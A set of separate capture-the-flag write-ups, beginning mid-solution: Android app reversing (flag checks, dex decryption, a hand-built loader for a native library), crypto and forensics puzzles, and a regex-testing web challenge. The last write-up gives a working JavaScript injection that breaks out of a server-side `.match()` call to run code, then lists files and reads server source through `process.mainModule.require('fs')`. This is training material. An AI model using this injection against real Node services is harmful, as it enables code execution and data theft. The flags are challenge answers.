```javaprivate static boolean checkSplit2(String paramString) { String expected = "\u001fTT:\u001f5\u00f1HG"; boolean equals = false;
char[] charArray = paramString.toCharArray(); byte[] byteArray = "hack.lu20".getBytes(StandardCharsets.UTF_8);
if (charArray.length == 9) { for (int i = 0; i < charArray.length; i++) { charArray[i] = (char) ((charArray[i] + i) ^ byteArray[i]); }
equals = String.valueOf(charArray).equals(expected); }
return equals; }```
Now we need a function to reverse this:
```javaprivate static void reverseSplit2() { String res = "\u001fTT:\u001f5\u00f1HG"; byte[] xor = "hack.lu20".getBytes(StandardCharsets.UTF_8); char[] inp = res.toCharArray();
for (int i = 0; i < 9; i++) { System.out.print((char) ((inp[i] ^ xor[i]) - i)); }
System.out.println();}```
Second part: w45N-T~so
### Part 3
```javaprivate boolean checkSplit3(String paramString) { paramString = paramString.toLowerCase(); return (paramString.length() != 8) ? false : (!paramString.substring(0, 4).equals("h4rd") ? false : md5(paramString).equals("6d90ca30c5de200fe9f671abb2dd704e"));}```
What we know: - length has to be 8. - first 4 characters ar `h4rd` - md5(string) is 6d90ca30c5de200fe9f671abb2dd704e
We now write a script that bruteforces the last 4 characters:
```pythonfrom hashlib import md5
chars = [x.encode("utf-8") for x in "abcdefghijklmnopqrstuvwxyz1234567890-~!?"]solve = b'h4rd'search = "6d90ca30c5de200fe9f671abb2dd704e"
def addChar(s, length=8): if len(s) < length: for char in chars: addChar(s + char) else: hexdigest = md5(s).hexdigest() if hexdigest == search: print(s.decode("utf-8"))
addChar(solve) ```
You could also use the full ascii range or more special characters, I assumed this chars from the other flag parts to speed up the process. Also no uppercase is needed because the paramString is converted to lowercase before hashing.
Third part: h4rd~huh
### Part 4
```javaprivate boolean checkSplit4(String paramString) { return paramString.equals(stringFromJNI());}
public native String stringFromJNI();```
We need to look at the `native-lib` now. It is located under `lib/${arch}/libnative-lib.so`:
```nasm$ r2 -AA x86_64/libnative-lib.so[0x000005b0]> afl0x000005b0 1 12 entry00x00000610 1 57 sym.Java_lu_hack_Flagdroid_MainActivity_stringFromJNI0x000005a0 1 6 sym.imp.malloc0x00000590 1 6 sym.imp.__cxa_atexit0x00000580 1 6 sym.imp.__cxa_finalize0x000005d0 2 21 -> 6 entry.fini0[0x000005b0]> pdf @ sym.Java_lu_hack_Flagdroid_MainActivity_stringFromJNI┌ 57: sym.Java_lu_hack_Flagdroid_MainActivity_stringFromJNI (int64_t arg1);│ ; arg int64_t arg1 @ rdi│ 0x00000610 53 push rbx│ 0x00000611 4889fb mov rbx, rdi ; arg1│ 0x00000614 bf0d000000 mov edi, 0xd ; size_t size│ 0x00000619 e882ffffff call sym.imp.malloc ; void *malloc(size_t size)│ 0x0000061e c6400874 mov byte [rax + 8], 0x74 ; 't'│ ; [0x74:1]=0│ 0x00000622 c740093f3829. mov dword [rax + 9], 0x29383f ; '?8)'│ ; [0x29383f:4]=-1│ 0x00000629 48b930727e77. movabs rcx, 0x312d5334777e7230 ; '0r~w4S-1'│ 0x00000633 488908 mov qword [rax], rcx│ 0x00000636 488b0b mov rcx, qword [rbx]│ 0x00000639 488b89380500. mov rcx, qword [rcx + 0x538]│ 0x00000640 4889df mov rdi, rbx│ 0x00000643 4889c6 mov rsi, rax│ 0x00000646 5b pop rbx└ 0x00000647 ffe1 jmp rcx```
We need to find the final value of `rax` here.
rcx = 0x312d5334777e7230
rax + 8 = 0x74
rax + 9 = 0x29383f
After `mov qword [rax], rcx`:
rax = 0x29383f74312d5334777e7230
Using python:
```python>>> import binascii>>> binascii.unhexlify("29383f74312d5334777e7230").decode("utf-8")[::-1]'0r~w4S-1t?8)'```
Fourth part: 0r~w4S-1t?8)
### Flag
We still need to join the parts with underscores and surround them with flag{}:
`flag{tH4T_w45N-T~so_h4rd~huh_0r~w4S-1t?8)}` |
download the file and just simply see the files meta descripton using exiftool you will get the flag.
exitool meme-3.jpeg
flag; nactf{m3ta_m3ta_m3ta_d3f4j} |
#### Password 3 (225 pts)
1. Run [p3_solve.py](https://finay.github.io/Writeups/Cyberyoddha/Solve-Scripts/p3_solve.py) ```python import base64
given = "FgwWARMuF2UhPQotZScKFTsxCjcVJmYKY2FqCiE9FSEmCjJlMTksKA=="
given = given.encode("ascii")given = base64.b64decode(given)
given = given.decode("ascii")flag = []
for i in given: flag += [chr(ord(i) ^ 0x55)]
print("".join(flag)) ```
FLAG: CYCTF{B0th_x0r_@nd_b@s3_64?_th@ts_g0dly} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Lorem%20Ipsum.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Lorem%20Ipsum.md) -----
# Lorem Ipsum
 
We are given the following string of text, which we save as `file1.txt`;
```Lorem ipsum dolorc sit amet, consectetury adipiscing celit, sed dot eiusmod tempor incifdidunt ut labore et dolore magna aliqual. Ut enim ad minima veniam, quist nostrud exercitation ullamcoi laboris nisin ut aliquip ex eai commodos consequat. Duis caute irure dolor in reprehenderit in voluptate velit oesse cillum dolore eu fugiat nulla pariatur. Excepteur osint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim lid est laborum.```
Next we go to [https://loremipsum.io/](https://loremipsum.io/) and copy a near identical strong of text from it's generator, which we save to `file2.txt`;
```Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. ```
running a `diff` command on these to files show that there are diffreneces between them;
`diff file1.txt file2.txt`
Let use a python script to find those differnce and output the string in a nice, easy to read format;
```pythonimport difflib
a='Lorem ipsum dolorc sit amet, consectetury adipiscing celit, sed dot eiusmod tempor incifdidunt ut labore et dolore magna aliqual. Ut enim ad minima veniam, quist nostrud exercitation ullamcoi laboris nisin ut aliquip ex eai commodos consequat. Duis caute irure dolor in reprehenderit in voluptate velit oesse cillum dolore eu fugiat nulla pariatur. Excepteur osint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim lid est laborum.'b='Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.'
diff = difflib.ndiff(a,b)
changes = [l for l in diff if l.startswith('+ ') or l.startswith('- ')]
flag = ""
for c in changes: flag = flag + c[len(c) -1]
print(flag)```
rather than opening the files and reading in the input i simply coppied the lorem Ipsum text into the python script and save them as 2 different string variables.
Running our script, we get the below output
```[jaxigt@MBA lorem_ipsum]$ python diff.py cyctflatiniscool```
The flag is;
## cyctf{latiniscool} |
The second part of the video in the hint tells you the elegance of Hamming code, watch it and you know exactly what to do: [https://www.youtube.com/watch?v=b3NxrZOu_CE](https://www.youtube.com/watch?v=b3NxrZOu_CE)
For each group of 15 bits, xor the positions of all 1 bits and you'll get the position of the flipped bit:
```from functools import reducefrom binascii import unhexlify
enc = '0100110110...1011111101' # omitted for readabilityenc = [enc[i:i + 15] for i in range(0, len(enc), 15)]
def correct(enc): enc = [int(i) for i in enc] pos = reduce(lambda a, b: int(a) ^ int(b), [j + 1 for j, bit in enumerate(enc) if bit]) enc[pos - 1] = int(not enc[pos - 1]) enc = ''.join([str(i) for i in enc]) return enc[2] + enc[4:7] + enc[8:]
flag = ''.join(correct(x) for x in enc)flag = unhexlify('%x' % int(flag, 2))print(flag)```
Flag: `nactf{hamm1ng_cod3s_546mv3q9a0te}` |
I just got lucky here as i was performing my mandatory forensic file check , boom out of nowhere i go the flag performing strings opertaion on the downloaded file.
strings turnip-for-what.jpg the flag was at the bottom:
flag: nactf{turn1p_f0r_h3x_f3j52} |
```from Crypto.Util.number import long_to_bytes
c = 97938185189891786003246616098659465874822119719049e = 65537n = 196284284267878746604991616360941270430332504451383
p = 19145471103565027335990409q = 10252256693298561414756287phi = (p-1)*(q-1)z = pow(e, -1, phi)m = pow(c, z, n)
print(long_to_bytes(m).decode('utf-8'))```
Flag : `nactf{sn3aky_c1ph3r}` |
as per the hint it is suppoue to be Vigenere Cipher.therfore go to : https://www.dcode.fr/vigenere-cipher and decode the encoded string: Uexummq lm Vuycnqjc. Hqjc ie qmud xjas: fycfx{waY5_sp3_Y0yEw_w9vU91}you will get the following flag:
Welcome to Vigenere. Here is your flag: nactf{yaM5_ar3_Y0mMy_w9jC91} |
Analysis with [Steganabara](https://github.com/quangntenemy/Steganabara) or any image editing tool with similar features shows that the suspicious black lines are on rows 127, 137, 147 and so on.

Put them together and we get the flag: [static_sol.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/nactf/Static/static_sol.py)
 |
use python script to automate all unzipping process and after done, get the flag
```pythonimport os,zipfile
for i in range(1000, -1, -1): direction = os.popen("cat direction.txt").read() name = "{}{}.zip".format(i, direction) compressed = zipfile.ZipFile(name) compressed.extractall()```
`nactf{1_h0pe_y0u_d1dnt_d0_th4t_by_h4nd_87ce45b0}` |
# Tools- [Ghidra](https://ghidra-sre.org) for reverse engineering- [Ghidra bridge](https://github.com/justfoxing/ghidra_bridge) to run our script from outside ghidra- `gdb-multiarch`, `gcc-aarch64-linux-gnu`, `qemu-user-aarch64` Debian packages to use and debug the native library
# Getting the code
An apk file is actually just a zip file. To get the contents just unzip it. The code is in a file called `classes.dex`, which is the binary format used for the android jvm runtime.
So let's load this file into ghidra and get started.
# Search for the flag
We know the format of the flag. Let's see if we can find that string in memory.
Indeed, we've got a match! We jumped to the memory location and searched for references to this string in the code.
It's used in the `onClick` Handler of the Deepest class. We can see that the flag is assembled in here.
```javavoid onClick(Deepest this,View p1)
{ boolean bVar1; View ref; CharSequence ref_00; String input; byte[] pbVar2; Context pCVar3; Toast ref_01; StringBuilder stringbuilder; ref = this.findViewById(0x7f0a0164); checkCast(ref,TextView); ref_00 = ref.getText(); input = ref_00.toString(); bVar1 = this.isPassword(input); if (bVar1 != false) { pbVar2 = Base64.decode(input,0); stringbuilder = new StringBuilder(); stringbuilder.append("CSR{"); input = new String(pbVar2,"UTF-8"); stringbuilder.append(input); stringbuilder.append("}"); input = stringbuilder.toString(); pCVar3 = this.getApplicationContext(); ref_01 = Toast.makeText(pCVar3,input,0); ref_01.show(); return; } pCVar3 = this.getApplicationContext(); ref_01 = Toast.makeText(pCVar3,"Nope",0); ref_01.show(); return;}```
So the Flag is `CSR{pwd}`. Where pwd is accepted by `isPassword`. Unfortunately, isPassword is an external function.
So we should look for a native library. There's `assets/deeper/encrypted.dex` and `assets/deepest/encrypted`, we'll have to decrypt them somehow.
Where do we get the password from? When we look at the `MainActivity` class, we'll see that the app starts with a WebView displaying `assets/andsoitbegins.html`.
```javavoid onCreate(MainActivity this,Bundle p1)
{ View ref; WebSettings ref_00; WebChromeClient ref_01; e ref_02; super.onCreate(p1); this.setContentView(0x7f0d001e); ref = this.findViewById(0x7f0a0193); if (ref != null) { checkCast(ref,WebView); WebView.setWebContentsDebuggingEnabled(true); ref_01 = new WebChromeClient(); ref.setWebChromeClient(ref_01); ref_00 = ref.getSettings(); ref_00.setJavaScriptEnabled(true); ref.loadUrl("file:///android_asset/andsoitbegins.html"); ref.addJavascriptInterface(this,"x500"); return; } ref_02 = new e("null cannot be cast to non-null typeandroid.webkit.WebView"); throwException(ref_02); return;}```
We also see the `weMustGoDeeper` Method, which seems to be the entry point for retrieving the flag, as it sets the `pwd` parameter to its argument, but it opens the `Deeper` class instead of `Deepest`, so there's another layer in between. We'll get to that layer later.
A naive `grep -R assets -e weMustGoDeeper` didn't work to find the javascript source, but a `grep -R assets -e x500` did (That's the Javascript object that is exposed by the MainActivity). We find this in `assets/vendor/bootstrap/bootstrap.js`:
```javascript$("#theform").on("submit",function(){var t=$("#txtUser"),e=$("#txtPass"),n=atob("d2VNdXN0R29EZWVwZXI=");return t.val()==atob("TGVvbmFyZG8=")&&e.val()==atob("VGhlQWN0b3JOb3RUaGVOaW5qYVR1cnRsZQ==")?window.x500[n](!0,t.val()+e.val()):window.x500[n](!1,""),!1});```
It looks like there are some things base64 encoded:
`d2VNdXN0R29EZWVwZXI=` = weMustGoDeeper`TGVvbmFyZG8=` = Leonard`VGhlQWN0b3JOb3RUaGVOaW5qYVR1cnRsZQ==` = TheActorNotTheNinjaTurtle
This is the prettified function:
```javascript $("#theform").on("submit", function() { var t = $("#txtUser"), e = $("#txtPass"), n = "weMustGoDeeper"; return t.val() == "Leonardo" && e.val() == "TheActorNotTheNinjaTurtle" ? window.x500[n](!0, t.val() + e.val()) : window.x500[n](!1, ""), !1```
It's calling `weMustGoDeeper` with `pwd` as `LeonardoTheActorNotTheNinjaTurtle`. Let's see where this password takes us.
# Decrypting the files
Let's resume where we left in our code. We've been seeing that `pwd` is being passed to the `Deeper` class. If we look at the onCreate method, we'll see that it calls `d.n` with an InputStream reading from `assets/deeper/encrypted.dex` and an OutputStream to a temporary location.
We see a lot of crypto code in here:
```javaint n(char[] data,InputStream in,OutputStream out)
{ boolean bVar1; int iVar2; SecretKeyFactory ref; SecretKey ref_00; byte[] pbVar3; Cipher cipher; int iVar4; byte[] pbVar5; AlgorithmParameterSpec ref_01; SecretKey ref_02; KeySpec key; String pSVar6; a ref_03; c ref_04; Key pKVar7; b ref_05; iVar2 = in.read(); iVar2 = iVar2 * 8; if (((iVar2 != 0x80) && (iVar2 != 0xc0)) && (iVar2 != 0x100)) { ref_03 = new(a); iVar2 = ref_03.a(); throwException(ref_03); return iVar2; } pbVar5 = new byte[0x10]; in.read(pbVar5); ref = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); key = new KeySpec(data,pbVar5,0x8000,iVar2 + 0x40); ref_00 = ref.generateSecret(key); pbVar5 = ref_00.getEncoded(); pbVar3 = Arrays.copyOfRange(pbVar5,0,8); pSVar6 = "AES"; ref_00 = new SecretKey(pbVar3,pSVar6); pbVar5 = Arrays.copyOfRange(pbVar5,8,pbVar5.length); ref_02 = new SecretKey(pbVar5,pSVar6); ref_04 = new c(ref_02,ref_00); pbVar3 = new byte[8]; in.read(pbVar3); ref_00 = ref_04.b; pbVar5 = ref_00.getEncoded(); bVar1 = Arrays.equals(pbVar5,pbVar3); if (bVar1 == false) { ref_05 = new(b); iVar2 = ref_05.b(); throwException(ref_05); return iVar2; } pbVar5 = new byte[0x10]; in.read(pbVar5); cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); pKVar7 = ref_04.a; ref_01 = new AlgorithmParameterSpec(pbVar5); cipher.init(2,pKVar7,ref_01); pbVar5 = new byte[0x400]; while (iVar4 = in.read(pbVar5), 0 < iVar4) { pbVar3 = cipher.update(pbVar5,0,iVar4); if (pbVar3 != null) { out.write(pbVar3); } } pbVar5 = cipher.doFinal(); if (pbVar5 != null) { out.write(pbVar5); } return iVar2;}```
We've got to reimplement this in python:
```pythonfrom hashlib import pbkdf2_hmacfrom Crypto.Cipher import AESimport binascii
f = open('assets/deeper/encrypted.dex', 'rb').read()
l = f[0] * 8 + 0x40
pwd = b"LeonardoTheActorNotTheNinjaTurtle"salt = f[1:0x11]
key = pbkdf2_hmac( hash_name = 'sha1', password = pwd, salt = salt, iterations = 0x8000, dklen = l // 8)
iv = f[0x19:0x29]
print(len(key))print("KEY: ", binascii.hexlify(key))print("IV: ", binascii.hexlify(iv))
assert (key[:8] == f[0x11:0x19])
cipher = AES.new(key[8:], AES.MODE_CBC, IV=iv)
out = open('assets/deeper/decrypted.dex', 'wb')
f = f[0x29:]
out.write(cipher.decrypt(f))
out.close()```
# Reversing decrypted.dexLoad that file into Ghidra and you'll find a `isPassword` Method.
```javaboolean isPassword(String str)
{ boolean bVar1; int len; int last_value; String slice; Iterator ref; Integer pIVar2; Object ref_00; BigInteger i; ArrayList factors; int iteration; BigInteger target; Vault vault; boolean ret; ret = false; vault = new Vault(); factors = new ArrayList(); i = BigInteger.ONE; iteration = 0; last_value = 0; while( true ) { len = str.length(); if (len + -2 <= iteration) { target = new BigInteger("591320437755618967257798351702211492893040132184058172662568576456153139621"); bVar1 = target.equals(i); if ((bVar1 != false) && (last_value = str.length(), last_value== 0x17)) { ret = true; } return ret; } slice = str.substring(iteration,iteration + 3); len = vault.getValue(slice); if (len <= last_value) break; ref = factors.iterator(); while (bVar1 = ref.hasNext(), bVar1 != false) { ref_00 = ref.next(); checkCast(ref_00,Integer); last_value = ref_00.intValue(); bVar1 = TheDream.FUN__0050033cd0(len,last_value); if (bVar1 == false) { return false; } } pIVar2 = Integer.valueOf(len); factors.add(pIVar2); target = BigInteger.valueOf((long)len & -0x100000000 |ZEXT48(len)); i = i.multiply(target); iteration = iteration + 1; last_value = len; } return false;}```
This one's a bit difficult to grasp at first, but what it does is get all substrings of length 3 and multiplies the result of `vault.getValue(substring)` together and this should result in `591320437755618967257798351702211492893040132184058172662568576456153139621`.
So what does `vault.getValue` do?
```java
int getValue(Vault this,String s)
{ boolean bVar1; Class ref; Method ref_00; Object ref_01; int iVar2; Object[] ppOVar3; Class[] ppCVar4; bVar1 = s.isEmpty(); if (bVar1 == false) { ref = this.getClass(); ppCVar4 = new Class[0]; ref_00 = ref.getDeclaredMethod(s,ppCVar4); ppOVar3 = new Object[0]; ref_01 = ref_00.invoke(this,ppOVar3); checkCast(ref_01,Integer); iVar2 = ref_01.intValue(); } else { iVar2 = 1; } return iVar2;}```
It calls the method with the name of the substring and returns that result.
There are a lot of 3 character functions in the binary. Extracting this information by hand would take hours. We'll have to write a script that does so. Using GhidraBridge to connect to our Ghidra instance makes this a pleasant experience.
We can factorize the number and see if we can create the functions return value using the primes.
There's a command line utility that comes in handy to determine the primes `factor`, which is part of coreutils.
```pythonfrom ghidra_bridge import *
b = ghidra_bridge.GhidraBridge(namespace=globals())
primes = [11, 739, 857, 1013, 1879, 1907, 2017, 2503, 3793, 5869, 6043, 6619, 8101, 9857, 11593, 11933, 12241, 12781, 13963, 14033, 15361]
target = 591320437755618967257798351702211492893040132184058172662568576456153139621
addr = []
b.remote_exec("import string,itertools")
for val in b.remote_eval("[ [i.getName(), int(str(getInstructionAt(i.entryPoint).getOpObjects(1)[0]), 16)] for i in currentProgram.getFunctionManager().getFunctions(True) if len(i.getName()) == 3]"): for x in primes: if val[1] % x == 0: val[1] /= x
if val[1] == 1: addr.append(val[0])
s = ""
x = [""] * len(addr)
print(addr)```
We're using remote_eval here, because the bridge is quite slow and looping over many functions is just so slow.
The nice thing is we can just decode the first instruction as this loads the return value into a register and they all look the same.
If we run it, we get these functions names:
```python['did', 'dth', 'ebj', 'ems', 'eto', 'het', 'idt', 'ing', 'inn', 'mhf', 'mst', 'nax', 'nin', 'nni', 'ops', 'ote', 'pin', 'psp', 'spi', 'sto', 'tem', 'the', 'top', 'tot', 'ujo']```
We'll have to reassemble them to get our password. We know it's `0x17` in length and they are overlapping by two characters. So we need only 21 of these functions and 4 are not needed.
If we try to combine them we'll find the password is `didthetotemstopspinning`. In general, the combinations can be found as Euler paths in a graph containing the 2 letter overlaps as nodes and the 3 letter names as directed edges. But here guessing that `'the'` is part of an english sentence and knowing the movie was quicker. We can use this to decrypt our last file using the same algorithm we used for encrypted.dex.
# Reversing decrypted
This time it's a native library. One thing to note is that the Java native interface prefixes functions with "Java_" and the package. So instead of looking for a `isPassword` we need to look for `Java_be_dauntless_inception_Deepest_isPassword`.
In this case it's a thin wrapper around the `ip` function.
```culonglong ip(char *param_1)
{ longlong lVar1; size_t len; int extracted; longlong lVar2; int i; int local_318; int index_bits; byte local_301; int bits [160]; uint32_t sizes [12]; sizes._40_8_ = 0x60000000d; sizes._32_8_ = 0x1b0000000c; sizes._24_8_ = 0x70000000f; sizes._16_8_ = 0xa00000004; sizes._8_8_ = 0x1f00000018; sizes._0_8_ = 0x700000004; index_bits = 0; local_318 = 0; len = strlen(param_1); if (len == 0x14) { s2ba(param_1,bits); i = 0; while (i < 0xc) { extracted = b2i(bits,index_bits,sizes[i]); extracted = rm(i + 1,extracted); if (extracted == 0) { local_318 = local_318 + 1; } index_bits = index_bits + sizes[i]; i = i + 1; } if (local_318 + ((local_318 / 0x11 + (local_318 >> 0x1f)) - (int)((longlong)local_318 * 0x78787879 >> 0x3f)) * -0x11 == 0) { local_301 = 1; } else { local_301 = 0; } } else { local_301 = 0; } return (ulonglong)local_301;}```
The `s2ba` (string to bit array maybe?) extracts each bit as either a `1` or `0` int into the given array on the stack. The `b2i` rebuilds an int from a specific amount of bits. The size array holds the number of bits to extract each time.
Therefore the input is split into: [4 bits, 7 bits, 24 bits, 31 bits, 4 bits, 10 bits, 15 bits, 7 bits, 12 bits, 27 bits, 13 bits, 6 bits]
The extracted bits are then validated in the `rm` function. This function was basically a giant switch-case over to call the right validation function for the given index.
The validation functions were quite complicated, so we wanted to brute force them. ARM code can be run on other platforms with `qemu-user`. Problem: We haven't got an `aarch64` android setup and we needed to improvise. The Debian repository has an arm cross compilation toolchain in the package `gcc-aarch64-linux-gnu`, which is much easier to install than the android-ndk.
We tried to link the native library into our brute force code, but faced a lot of troubles, because we haven't got the android libraries it needed.
So we just built our own "dynamic" loader for `libdeepest.so`...
# Implementing dynamic linkers, the definitive guide
The core of loading a library is loading the sections (e.g. code, data) from the ELF-file, mapping them into memory with the correct access mode, and adding base addresses to the GOT (global offset table). In our case, `objdump -x libdeepest.so` told us ```[...]Sections:Idx Name Size VMA LMA File off Algn[...] 9 .text 00000e0c 0000000000000d90 0000000000000d90 00000d90 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE[...] 10 .rodata 00000080 0000000000001b9c 0000000000001b9c 00001b9c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA[...] 17 .got 000000f8 0000000000002f08 0000000000002f08 00002f08 2**3 CONTENTS, ALLOC, LOAD, DATA```
The `VMA` column contains addresses where the sections are expected at runtime or, for position independent code, an offset from an base address. Here it contains the same values as the `File off`-sets, so we can load the library in one piece. We want to run code from it, and we want to alter the GOT, so it is mapped readable, writable, and executable.
As we already had reversed the first validation function, `z`, which checks if it's argument is 8, we have a first quick test:
```c#include <stdarg.h>#include <sys/mman.h>#include <sys/fcntl.h>#include <sys/stat.h>#include <string.h>#include <assert.h>#include <stdint.h>#include <stdlib.h>#include <stdio.h>#include <err.h>
int main(){ int fd = open("libdeepest.so", O_RDONLY); if (fd == -1) err(EXIT_FAILURE, "open"); struct stat sb; if (fstat(fd, &sb) == -1) err(EXIT_FAILURE, "stat");
char *lib = (char*) mmap(NULL, sb.st_size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if(lib == NULL) err(EXIT_FAILURE, "mmap"); printf("base address: %p\n", lib);
uint64_t (*z)(unsigned) = (void*)(lib + 0x1388); printf("z(2) = %lx, z(8) = %lx\n", z(2), z(8));}```
We compiled with `aarch64-linux-gnu-gcc -Wall -o test test.c`.Now `qemu-aarch64 ./test` outputs `z(2) = 0, z(8) = 1` - yay:)
We don't want to call all validation functions by hand, but use `rm(index, secret)`. So we have to set up the GOT:
```c const uint64_t got_offset = 0x2f08; const size_t got_size = 0xf8; uint64_t got[] = { // values copied from ghidra 0x0,0x0,0x0,0x001054,0x0016cc,0x001388,0x003000,0x001844,0x003008,0x003010, 0x0013e4,0x001948,0x0016f0,0x001b14,0x0017c8,0x003018,0x001250,0x003020, 0x000e3c,0x001484,0x00177c,0x001120,0x00196c,0x003028,0x0017ec,0x003030, 0x0015e0,0x0011ac,0x000e7c,0x003038,0x2d28};
assert(sizeof(got) == got_size);
for(int i=0; i<got_size/8; i++){ got[i] += (uint64_t)lib; } memcpy(lib + got_offset, got, sizeof(got));```
and now we can call `rm` in a loop:
```c uint64_t (*rm)(int, unsigned) = (void*)(lib + 0x1250);
const int bitlengths[] = {4, 7, 24, 31, 4, 10, 15, 7, 12, 27, 13, 6}; // see above. for(int index = 0; index < sizeof(bitlengths)/sizeof(*bitlengths); index++){ for(unsigned number=0; number < (1u<<bitlengths[index]); number++){ uint64_t res = rm(index+1, number); if(res) printf("pass[%d] = %u\n", index+1, number); } }```
This gives us `pass[1] = 8`, `pass[2] = 22`, and a segfault. To debug this, we use `gdb-multiarch` and attach to qemus gdb-server, which can started by passing `-singlestep -g 1234` to the `qemu-aarch64` command. We find a call to `__vsnprintf_chk` via the GOT, which was not resolved by us. A google search for `android libc __vsnprintf_chk` leads to it's signature and source, so we can supply it to the library:
```cint my_vsnprintf_chk(char* dest, int flags, size_t supplied_size, const char* format, va_list va) { (void) flags; return vsnprintf(dest, supplied_size, format, va);}```
And before the `memcpy` for the GOT, insert:
```c const int VSNPRINTF_CHK_INDEX = 23; assert(got[VSNPRINTF_CHK_INDEX] == (uint64_t)lib + 0x3028); // this was called by the binary got[VSNPRINTF_CHK_INDEX] = (uint64_t)my_vsnprintf_chk;```
putting all together, we get the output:
```pass[1] = 8pass[2] = 22pass[3] = 13215336pass[4] = 1772505672pass[5] = 11pass[6] = 329pass[7] = 25196pass[8] = 20pass[9] = 1425pass[10] = 110318673pass[11] = 2746pass[12] = 18```
as the 3rd number took quite long and the 4th has more bit's, and it was quite late, we decided to let it run while going to sleep. But then the other results fell out very quick, so we we had to to postpone sleeping to get the flag.
# assembling the flag
We can copy the values into a python script and extend it to reverse the `s2ba` and `b2i` calls:
```pythonlens = [4, 7, 24, 31, 4, 10, 15, 7, 12, 27, 13, 6]answer= [8, 22, 13215336, 1772505672, 11, 329, 25196, 20, 1425,110318673, 2746, 18, ]
# the array as used by s2baa = bytearray(160)
#inverse of b2idef i2b(i, l): return [(i>>j)&1 for j in range(l)][::-1]
done = 0for l,ans in zip(lens, answer): if done == 0: a[-l:] = i2b(ans, l) else: a[-done-l:-done] = i2b(ans, l) done += l
# invert s2ban=0for x in a: n *= 2 n += x
password = n.to_bytes(20, "big")print(password)
# the password is base64 decoded to get the flagimport base64print("CSR{" + base64.b64decode(password).decode() + "}")```
The bit assembly yields `IWZMQEdJblRoM2RFM3Ah`, and by decoding it we find the flag `CSR{!fL@GInTh3dE3p!}`.
Now we finally had time for a short rest. |
## Zip Madness  
### Description```Evan is playing Among Us and just saw an imposter vent in front of him! Help him get to the emergency button by following the directions at each level.```
### Attached files- flag.zip
### SolutionThe whole gist of this challenge is:1. Unzip file2. Read direction.txt (Either says left or right)3. Unzip the corresponding side (There are 2 files <number>left.zip or <number>right.zip) a. The number starts from 1000 down to 1 which is where the flag is4. Repeat the process over and over again until you reach 1
This requires some scripting knowledge which I previously didn't have. I chose to learn a little bit of bash scripting so I formulated this script:```#!/bin/bash
unzip flag.zipfor ((direct=1000; direct>=1; direct--))do read -r side < direction.txt unzip -o "$direct$side.zip"done```So basically, what this script does is:1. Initially unzip the flag.zip file2. Loop from 1000 to 1 decrementing3. While going down the numbers, read the direction.txt file a. Assign it a value "side"4. unzip the zipped file based on its "side" and "direct" a. The "-o" is to overwrite the direction.txt file so I won't have to type "y" all the time to overwrite it5. Repeat
After running that command, it unzipped EVERYTHING all the way until the flag was found! (flag.txt)This was my first time trying bash scripting so it took a lot of debugging and googling to solve this problem.
### Flag```nactf{1_h0pe_y0u_d1dnt_d0_th4t_by_h4nd_87ce45b0}``` |
original is clearly better:[original writup](https://github.com/tHoMaStHeThErMoNuClEaRbOmB/ctfwriteups/blob/master/CyberSecurityRumblectf/web/CSRegex/README.md#solution)
writup here as well:# writup for CSREGEX challangedescription:```Stop pwning, start learning REGEX! This is such a fine way to ESCAPE the real world...
http://chal.cybersecurityrumble.de:9876
Author: molatho|nviso
(72 solves)```
Table of contents=================
* [how we got to the solution](#how_we_got_to_the_solution) * [solution](#solution)
how we got to the solution=============================
we are greeted with a regex tesiting page, In the main box you can enter a regular expression, which will be evaluated and the output will be shown in the bottom
```'A regular expression (shortened as regex or regexp; also referred to as rational expression) is a sequence of characters that define a search pattern. Usually such patterns are used by string-searching algorithms for "find" or "find and replace" operations on strings, or for input validation. It is a technique developed in theoretical computer science and formal language theory.\n\nThe concept arose in the 1950s when the American mathematician Stephen Cole Kleene formalized the description of a regular language. The concept came into common use with Unix text-processing utilities. Different syntaxes for writing regular expressions have existed since the 1980s, one being the POSIX standard and another, widely used, being the Perl syntax.\n\nRegular expressions are used in search engines, search and replace dialogs of word processors and text editors, in text processing utilities such as sed and AWK and in lexical analysis. Many programming languages provide regex capabilities either built-in or via libraries.\n\nhttps://en.wikipedia.org/wiki/Regular_expression'.match(/<user input regex>/gi)```this gets transmtted and evaluated on the server. Which makes the task pretty obvious, lets escape the .match expression and have server side (remote) code execution
z'.match()/gi); <javascript code>;/- the first part `z'.match()/gi);` completes the string so it doesnt error- the end `;/` is to comment out the rest, `/gi`
so we have an RCE, what next?
"fetch is not defined" -- we are running on node and not a web browser
lets see what we can and cannot do:- we cannot call require- `child_process` and `fs` arent imported- we can use `return` to get any data back from the server
thats not much, but we found that we can infact call require by using `process.mainModule.require`
so lets build a little script:we can return the contents of the current directory with the fs module```js//code:let files = [];const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;
// exploit:z'.match()/gi);let files = [];const fs = process.mainModule.require('fs'); fs.readdirSync(".").forEach(file => files.push(file) ); return files;/
// result:{"result":[".dockerignore","api.js","csregex","dist","dockerfile","index.js","leftover.js","node_modules","package-lock.json","package.json","regexer.js","requests.log","simple-fs.js"]}
```
solution===========start reading the files to see if there is anything interesting in either one```js// code:const fs = process.mainModule.require('fs');const data = fs.readFileSync('api.js', 'utf8');return(data);/
